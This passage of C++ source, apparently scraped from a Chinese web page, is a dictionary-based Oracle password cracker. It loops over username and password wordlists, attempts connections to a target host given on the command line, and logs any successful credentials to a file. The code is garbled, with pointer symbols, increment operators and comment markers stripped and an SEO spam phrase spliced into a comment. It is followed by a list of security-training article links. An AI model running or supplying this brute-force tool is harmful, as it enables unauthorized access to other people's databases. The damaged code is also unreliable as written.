}NameInfo; //定义NameInfo来表示NameNode结构 //
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
//定义局部变量
char szBuffer[1025]= {0};
char pwd=NULL,UserName=NULL;
char DataBase[255]={0};
//char user=NULL;
//取得传递过来准备探测的密码
pwd=(char )pPwd;
UserName=(char )uUserName;
//DataBase=(char )db;
sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
//printf("DataBase=%s\n",DataBase);
using namespace std;
using namespace oracle::oi; Environment env=Environment::createEnvironment(Environment::DEFAULT); try{
Connection conn=env->createConnection(UserName,pwd,(char )DataBase);
if (conn)
{ printf("\n");
cout << "SUCCESS - createConnection" << endl;
//连接远程oracle Server数据库成功
return 1;
}
else
cout << "FAILURE - createConnection" << endl;
return 0; /Statementstmt=conn->createStatement("select from emp");
ResultSet rset=stmt->executeQuery();
while (rset->next()) {
cout<<"the empno is:"<<rset->getInt(1)<<endl;
cout<<"the ename is:"<<rset->getString(2)<<endl; } /
//stmt->closeResultSet (rset);
// conn->terminateStatement (stmt);
env->terminateConnection (conn); }catch(SQLException ex) {
//printf("\n");
cout<<ex.getMessage();
return 0; }
Environment::terminateEnvironment(env);
return 0;
}
void usage(){ printf("name:oracle password crack v 1.0\n");
printf("author:pt007@.sina.\n\n");
fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
printf("options:\n"
"\t-x port specify the port of oracle\n"
"\t-u username specify the username of oracle\n"
// "\t-p password specify the password of oracle\n"
"\t-d dict specify the dictionary\n"
"\t-i database specify the database's name\n"
//"\t-a automode automatic crack the oracle password \n"
//"\tNote: when u use the -a option, named the username dict user.dic\n"
// "\t password dict pass.dic\n"
);
printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
exit(1); } //创建密码链表:
PassInfo Create_Pass_link(int NodeNum, FILE DictFile){ / read data from password dictionary, init the link /
TCHAR szTempPass = NULL;
PassInfo h, p, s; / h point to head node, p point to the pre node,
s point to the current node/
int i; / counter/ //分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址:
if ( (h = (PassInfo ) malloc(sizeof(PassInfo))) == NULL )
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
} / create the head node / / init the head node/
h->Next = NULL;
p = h; for ( i=0; i < NodeNum; i ) //狼蚁网站SEO优化是建立链表,每个密码对应一个结点:
{ //按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass
szTempPass = (TCHAR )calloc(100, sizeof(TCHAR));
ZeroMemory(szTempPass, 100); if ( (s = (PassInfo )malloc(sizeof(PassInfo))) == NULL)
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->password, '\0', 100);
fgets(szTempPass, 100, DictFile);
strncpy(s->password, szTempPass, strlen(szTempPass)-1);
s->Next =NULL; //删除一个结点
p->Next = s;//链表指针指向下一个结构地址
p = s;//下一个结构的数据域赋值 free(szTempPass);//释放内存空间 }
return h;//返回链表的头结点,它存放有第一个结点的首地址,没有数据 }
//创建用户名链表:
NameInfo Create_Name_link(int NodeNum, FILE DictFile){ / read data from password dictionary, init the link /
TCHAR szTempName = NULL;
NameInfo h, p, s; / h point to head node, p point to the pre node,
s point to the current node/
int i; / counter/ //分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址: :
if ( (h = (NameInfo ) malloc(sizeof(NameInfo))) == NULL )
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
} / create the head node / / init the head node/
h->Next = NULL; //删除下一个结点
p = h; //p里面目前指向头结点 for ( i=0; i < NodeNum; i )
{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass:
szTempName = (TCHAR )calloc(100, sizeof(TCHAR));
ZeroMemory(szTempName, 100);//字符串类型变量清0 if ( (s = (NameInfo )malloc(sizeof(NameInfo))) == NULL)
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->Name, '\0', 100);
fgets(szTempName, 100, DictFile);
strncpy(s->Name, szTempName, strlen(szTempName)-1);
s->Next =NULL;
p->Next = s;//p指向下一个结点的地址
p = s;//下一个结构的数据域赋值 free(szTempName); }
return h; }
int LineCount(FILE fd) //返回字典中的密码数量
{
int countline = 0;
char data[100] = {0};//字符数组清0 while (fgets(data, 100, fd))//从指定的文件中读一个字符串到字符数组中
countline ; rewind(fd);//指针返回到文件起始处 return countline;
} BOOL IsPortOpen(char address, int port)
{
int recv = 1;
WSADATA wsadata;
int fd;
struct sockaddr_in clientaddress;
struct hostent host1;
BOOL Result = FALSE;
struct timeval timer4;
fd_set writefd; //检查数据是否可写
ULONG value = 1;
//初使化winsock版本1.1:
recv = WSAStartup(MAKEWORD(1,1), &wsadata); if(recv != 0)
{
printf("init failed %d.\n",WSAGetLastError());
return(0);
} if ( LOBYTE( wsadata.wVersion ) != 1 ||
HIBYTE( wsadata.wVersion ) != 1 ) {
/ Tell the user that we couldn't find a useable /
/ winsock.dll. /
WSACleanup();
return(0);
}
//创建socket套接字连接:
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(fd < 0)
{
printf("[-] Create socket error %d. \n",WSAGetLastError());
return(0);
}
//将套接字fd设为非阻塞模式的方法:
ioctlsocket(fd,FIONBIO,&value); if (!(host1 = gethostbyname(address))){
printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
return(0);
} memset(&clientaddress, 0, sizeof(struct sockaddr));
clientaddress.sin_family =AF_INET;//Ipv4地址族
clientaddress.sin_port = htons((unsigned short)port);
clientaddress.sin_addr = ((struct in_addr )host1->h_addr); timer4.tv_sec = 5;//以秒为单位指定等待时间
timer4.tv_usec = 0; FD_ZERO(&writefd);
FD_SET(fd,&writefd); //将套接字fd增添到writefd写集合中进行测试 recv = connect(fd, (struct sockaddr )&clientaddress, sizeof(struct sockaddr)); if( FD_ISSET(fd, &writefd))
{
recv = select(fd 1, NULL, &writefd, NULL, &timer4);//测试5秒钟内是否有数据写入 if( recv > 0 )
Result = TRUE;
} closesocket(fd);
WSACleanup(); return Result; }
int main(int argc, char argv)
{ PassInfo head, curr = NULL;
NameInfo headnode, currnode = NULL;
int namecount = 0, passcount = 0; /////////////////////////////////////////////////////////////////////////////////////////////
// deal with the mand line
//
/////////////////////////////////////////////////////////////////////////////////////////////
//参数不为8个的时候打印帮助
if(argc != 10)
usage(); if (argc == 10)
{
if ( strcmpi(argv[2], "-x") )
usage(); if ( strcmpi(argv[4], "-u") )
usage(); if ( strcmpi(argv[6], "-d") )
usage();
if ( strcmpi(argv[8], "-i") )
usage();
} / determinate whether the oracle port is open /
if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
{
printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
exit(0);
}
////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
////////////////////////////////////////////////////////////////////////////////////////////// //取得目标地址和端口号:
strcpy(target,argv[1]);
strcpy(port,argv[3]);
strcpy(db,argv[9]); if ( !strcmpi(argv[4], "-u"))
{
/ open the password dictionary / FILE passdic = NULL;
if ( (passdic = fopen(argv[7], "r")) ==NULL){
fprintf(stdout, "Can't open the password dictionary\n");
exit(0);
}
/ count line of name dictionary / passcount = LineCount(passdic); //计算密码的数量
head = Create_Pass_link(passcount, passdic); / create the password link /
curr = head ->Next; //指向第一个结点 / open the password dictionary / FILE Namedict = NULL;
if ( (Namedict = fopen(argv[5], "r")) ==NULL){
fprintf(stderr, "Can't open the name dictionary\n");
exit(0);
} /密码最终保存文件/
FILE passtxt=NULL;
if ( (passtxt = fopen("pass.txt", "at ")) ==NULL){
fprintf(stdout, "Can't write pass.txt file!\n");
exit(0);
} / count line of name dictionary / namecount = LineCount(Namedict);//计算用户名数量
headnode = Create_Name_link(namecount, Namedict); / create user link /
currnode = headnode->Next; int j=0,i=1;
while(currnode!=NULL) //为NULL表示姓名链表结束
{
printf("\n开始第%d位用户%s测试:\n", j,currnode->Name);
while(curr != NULL) //为NULL表示密码链表结束
{
printf("Now cracking %s->%s \n", currnode->Name, curr->password);
fflush(NULL);
int Cracked=0;
Cracked=SQLCheck(curr->password,currnode->Name);
if ( Cracked==1 )
{
printf("%d.Suessfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
fseek(passtxt, 0L, SEEK_END);//移动到文件尾部
fprintf(passtxt,"%d.Suessfully:oracle server %s's username [%s] password [%s]\r\n",i ,target,currnode->Name, curr->password);
//exit(0);发现一个密码就退出
break;
}
curr = curr->Next;//移动到下一个结点
Sleep(100);//暂停100ms,即0.1s } / starting crack the oracle password/
currnode = currnode->Next;
curr = head ->Next; //移到密码链表的第一个结点
}
printf("\n\n密码猜解结束:\n本次共猜解了%d位用户,%d个密码!\n",namecount,passcount);
printf("请使用\"type pass.txt\"来查看当前目录下的pass.txt文件!\n");
fprintf(passtxt,"\r\n\r\n");
fclose(passdic);
fclose(Namedict);
fclose(passtxt);
free(head);
} return 0; }
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座